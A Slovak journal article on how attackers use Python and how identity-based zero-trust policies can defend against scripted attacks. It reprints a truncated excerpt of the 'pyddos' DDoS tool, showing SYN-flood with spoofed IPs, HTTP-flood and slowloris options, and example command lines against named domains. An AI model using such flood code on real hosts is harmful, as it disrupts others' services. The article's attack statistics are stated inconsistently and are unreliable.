Lukáš Bočkaj
Abstract
The aim of this article is to acquaint the reader with the usability of the python programming language in attacks in the online environment and how to prevent them.
Key words: python, programming language, hacker attack, cybercrime
Abstrakt
Cieľom tohto článku je oboznámiť čitateľa s použiteľnosťou programovacieho jazyka python pri útokoch v online prostredí a ako im predchádzať.
Kľúčové slová: python, programovací jazyk, hackerský útok, kybernetická kriminalita
Úvod
Podľa výsledkov posledného prieskumu portálu Stack Overflow je Python najrýchlejšie sa rozvíjajúci programovací jazyk. V popularite už prekonal aj C#. Python má všetky atribúty profesionálneho programovacieho jazyka, umožňuje rýchly vývoj aplikačného kódu, podporuje objektovo orientované programovanie a je vynikajúci pre začiatočníkov. Podstatnou mierou k popularite Pythonu prispieva čistota a jednoduchosť v syntaxe a obrovské množstvo dostupných funkcií[2].
Za posledných pár rokov zaznamenal Python úžasný nárast. V priebehu posledných rokov sa Python ukázal ako populárny a všestranný programovací jazyk. Veľkú popularitu má medzi odborníkmi na umelú inteligenciu a profesionálnymi programátormi a v nadnárodných korporáciách. Získal si priazeň aj v oblasti kybernetickej kriminality[5].
Python a internetová kriminalita
Rastúca popularita Pythonu medzi hackermi by nemala byť prekvapením. Python je síce jednoduchý, ale výkonný programovací jazyk. Útočníkovi umožňuje s malým úsilím vytvoriť skript s menej ako 100 riadkami. Aj keď tento proces zneškodníte, začne sa sám zálohovať, vytvorí tzv. „zadné vrátka“, a bude naďalej meniť komunikáciu interne i s externými servermi a nastaví príkazy a riadiace odkazy[7]. Útočník dokonca nemusí napísať vlastný kód. Skripty backdoor v Pythone sa dajú ľahko dohľadať na internete – vyhľadávač Github ich vyhľadá viac ako 200. Štúdia spoločnosti Imperva potvrdzuje, že pri väčšine útokov, ktoré sa odohrali na globálnej úrovni, bolo 70 % realizovaných s akýmsi nástrojom založeným na Pythone a najmenej pri tretine týchto prípadov bol napísaný útočný kód v jazyku Python.
Obrázok 1 Vývoj popluarity programovacích jazykov
Zdroj : https://stackoverflow.blog/2017/09/06/incredible-growth-python/
Podľa spoločnosti Imperva (spoločnosť poskytujúca softvér a služby v oblasti kybernetickej bezpečnosti), viac ako tretina každodenných útokov, ktoré spoločnosť chráni, pochádza zo škodlivého kódu alebo nástroja, kódovaného v jazyku Python[1].
Ako sa chrániť ?
Skriptovacie útoky často obchádzajú tradičnú ochranu. Brána firewall napríklad používa schválené sieťovej adresy na zistenie, či je server bezpečný, ale nedokáže presne overiť, čo konkrétne sa medzi dvoma „koncami“ prenáša. Výsledkom je, že skripty budú jednoducho schválené podľa nastavených pravidiel brány firewall. Pokiaľ ide o EDR (Endpoint Detection and Response), prenos zo škodlivých skriptov je veľmi podobný prenosu vytváranému bežnými nástrojmi na správu. Neexistuje jasný poznávací znak, ktorý by obranné mechanizmy EDR detekovali.[4]
Efektívnym spôsobom ochrany pred skriptovacími útokmi je nastavenie prístupu nulovej dôveryhodnosti založeného na identite. V prístupe založenom na softvérovej identite nie sú zásady založené na sieťových adresách, ale skôr na jedinečnej identite pre každý proces. Akýkoľvek prístup založený na sieťových adresách nemôže adekvátne chrániť cieľ útoku. Sieťové adresy sa často menia, najmä v prostrediach s automatickým škálovaním, ako je napríklad cloud[6].
Vďaka prístupu založenému na identite môže administrátor vytvoriť zásady, ktoré konkrétne stanovia, ktoré zariadenia, programy a skripty môžu navzájom komunikovať – všetko ostatné je predvolene zablokované. Výsledkom je, že škodlivé skripty budú automaticky blokované pri vytváraní „zadných vrátok“, a umiestňovaní škodlivého softvéru[8].
Vzorový príklad záškodníckej aplikácie v Python
Platforma GitHub je pomerne dobre známa ako platforma pre vývojárov rôzynch druhov aplikácií. Nemálo aplikácií je tam založených na programovacom jazyku Python. Pre znalého programátora je ľahké nájsť kódy pre napísanie útočnej aplikácie. Napríklad užívateľ platformy mach1el[3] tam má zdrojový kód pre DDoS útok (nebudeme uvádzať celý kód):
#!/usr/bin/env python2
version= ‘2.0’
title = ”’
_ \ __ \ __ \ ___| _) |
| | | | | | | | _ \ __| \___ \ __| __| | __ \ __|
___/ | | | | | | ( |\__ \ | ( | | | | |
_| \__, |____/ ____/ \___/ ____/ _____/ \___|_| _| .__/ \__|
____/ _|
DDos python script | Script used for testing ddos | Ddos attack
Author: ___T7hM1___
Github: http://github.com/t7hm1/pyddos
Version:”’+version+”’
”’
import os
import sys
import json
import time
import string
import signal
import httplib,urlparse
from random import *
from socket import *
from struct import *
from threading import *
from argparse import ArgumentParser,RawTextHelpFormatter
if os.name == ‘posix’:
c = os.system(‘which pip’)
if c == 256:
os.system(‘sudo apt-get install python-pip’)
else:
pass
else:
print ‘[-] Check your pip installer’
try:
import requests,colorama
from termcolor import colored,cprint
except:
try:
if os.name == ‘posix’:
os.system(‘sudo pip install colorama termcolor requests’)
sys.exit(‘[+] I have installed nessecary modules for you’)
elif os.name == ‘nt’:
os.sytem(‘c:\python27\scripts\pip.exe install colorama requests termcolor’)
sys.exit(‘[+] I have installed nessecary modules for you’)
else:
sys.exit(‘[-] Download and install nessecary modules’)
except Exception,e:
print ‘[-]’,e
if os.name == ‘nt’:
colorama.init()
…
….
…
def main():
parser = ArgumentParser(
usage=’./%(prog)s -t [target] -p [port] -t [number threads]’,
version=version,
formatter_class=RawTextHelpFormatter,
prog=’pyddos’,
description=cprint(title,’white’,attrs=[‘bold’]),
epilog=”’
Example:
./%(prog)s -d www.example.com -p 80 -T 2000 -Pyslow
./%(prog)s -d www.domain.com -s 100 -Request
./%(prog)s -d www.google.com -Synflood -T 5000 -t 10.0
”’
)
options = parser.add_argument_group(‘options’,”)
options.add_argument(‘-d’,metavar='<ip|domain>’,default=False,help=’Specify your target such an ip or domain name’)
options.add_argument(‘-t’,metavar='<float>’,default=5.0,help=’Set timeout for socket’)
options.add_argument(‘-T’,metavar='<int>’,default=1000,help=’Set threads number for connection (default = 1000)’)
options.add_argument(‘-p’,metavar='<int>’,default=80,help=’Specify port target (default = 80)’ + colored(‘ |Only required with pyslow attack|’,’red’))
options.add_argument(‘-s’,metavar='<int>’,default=100,help=’Set sleep time for reconnection’)
options.add_argument(‘-i’,metavar='<ip address>’,default=False,help=’Specify spoofed ip unless use fake ip’)
options.add_argument(‘-Request’,action=’store_true’,help=’Enable request target’)
options.add_argument(‘-Synflood’,action=’store_true’,help=’Enable synflood attack’)
options.add_argument(‘-Pyslow’,action=’store_true’,help=’Enable pyslow attack’)
options.add_argument(‘–fakeip’,action=’store_true’,default=False,help=’Option to create fake ip if not specify spoofed ip’)
args = parser.parse_args()
if args.d == False:
parser.print_help()
sys.exit()
add_bots();add_useragent()
if args.d:
check_tgt(args)
if args.Synflood:
uid = os.getuid()
if uid == 0:
cprint(‘[*] You have enough permisson to run this script’,’green’)
time.sleep(0.5)
else:
sys.exit(cprint(‘[-] You haven\’t enough permission to run this script’,’red’))
tgt=check_tgt(args)
synsock=socket(AF_INET,SOCK_RAW,IPPROTO_TCP)
synsock.setsockopt(IPPROTO_IP,IP_HDRINCL,1)
ts=[]
threads=[]
print colored(‘[*] Started SYN Flood: ‘,’blue’)+colored(tgt,’red’)
while 1:
if args.i == False:
args.fakeip = True
if args.fakeip == True:
ip = fake_ip()
else:
ip = args.i
try:
for x in xrange(0,int(args.T)):
thread=Synflood(tgt,ip,sock=synsock)
thread.setDaemon(True)
thread.start()
thread.join()
except KeyboardInterrupt:
sys.exit(cprint(‘[-] Canceled by user’,’red’))
elif args.Request:
tgt = args.d
threads = []
print colored(‘[*] Start send request to: ‘,’blue’)+colored(tgt,’red’)
while 1:
try:
for x in xrange(int(args.T)):
t=Requester(tgt)
t.setDaemon(True)
t.start()
t.join()
except KeyboardInterrupt:
sys.exit(cprint(‘[-] Canceled by user’,’red’))
elif args.Pyslow:
try:
tgt = args.d
port = args.p
to = float(args.t)
st = int(args.s)
threads = int(args.T)
except Exception,e:
print ‘[-]’,e
while 1:
try:
worker=Pyslow(tgt,port,to,threads,st)
worker.doconnection()
except KeyboardInterrupt:
sys.exit(cprint(‘[-] Canceled by user’,’red’))
if not (args.Synflood) and not (args.Request) and not (args.Pyslow):
parser.print_help()
sys.exit(cprint(‘[-] You must choose attack type’,’red’))
if __name__ == ‘__main__’:
main()
Záver
Široké možnosti použitia jazyka Python a jeho rozsiahle knižnice sa často zneužívajú na páchanie kybernetických zločinov. Ľahkosť používania programovacieho jazyka Python a jeho bohaté knižnice ponúkajú možnosti zneužitia. Ochranou voči takýmto možnostiam používania skriptov v jazyku Python je dôkladná kontrola spúšťaných kódov.
Použitá literatúra
- [1] CIMPANU, C. Python is a hit with hackers, report finds. In ZDNet [online]. [cit. 2020-12-01]. Dostupné na internete: <https://www.zdnet.com/article/python-is-a-hit-with-hackers-report-finds/>.
- [2] LACKO, Ľ. Prečo je Python jeden z najobľúbenejších programovacích jazykov? In IT News [online]. 2019. [cit. 2020-12-01]. Dostupné na internete: <https://www.nextech.sk/a/Preco-je-Python-jeden-z-najoblubenejsich-programovacich-jazykov>.
- [3] MACH1EL mach1el/pyddos. In GitHub [online]. [cit. 2020-12-01]. Dostupné na internete: <https://github.com/mach1el/pyddos>.
- [4] MATUŠOVIČ, M. et al. Protection of Competition – the Global Economic Crisis VI. . Mukařov – Srbín: Ľuboš Janica, 2018. 190 s. ISBN 978-80-270-1037-0.
- [5] PORADA, V. et al. Kybernetická bezpečnost. 6. In Bezpečnostní vědy : úvod do teorie, metodologie a bezpečnostní terminologie . Plzeň: Vydavatelství a nakladatelství Aleš Čeněk, 2019. s. 160–182. ISBN 978-80-7380-758-0.
- [6] SMITH, P. [online]. 2020. [cit. 2020-12-01]. Dostupné na internete: <https://www.helpnetsecurity.com/2020/03/24/python-backdoor-attacks/>.
- [7] VESELÝ, P. Definice kybernetické bezpečnosti, kybernetických útoků a kybernetické kriminality. In Bezpečnostní vědy : úvod do teorie, metodologie a bezpečnostní terminologie . Plzeň: Vydavatelství a nakladatelství Aleš Čeněk, 2019. s. 160–175. ISBN 978-80-7380-758-0.
- [8] VESELÝ, P. Manažment ochrany informácií. . Praha: TopSmart Business, 2020. ISBN 978-80-270-9014-3.
Celé vydanie časopisu Manažérska Informatika ročník 1, 2020, číslo 2
Indexed : GOOGLE SCHOLAR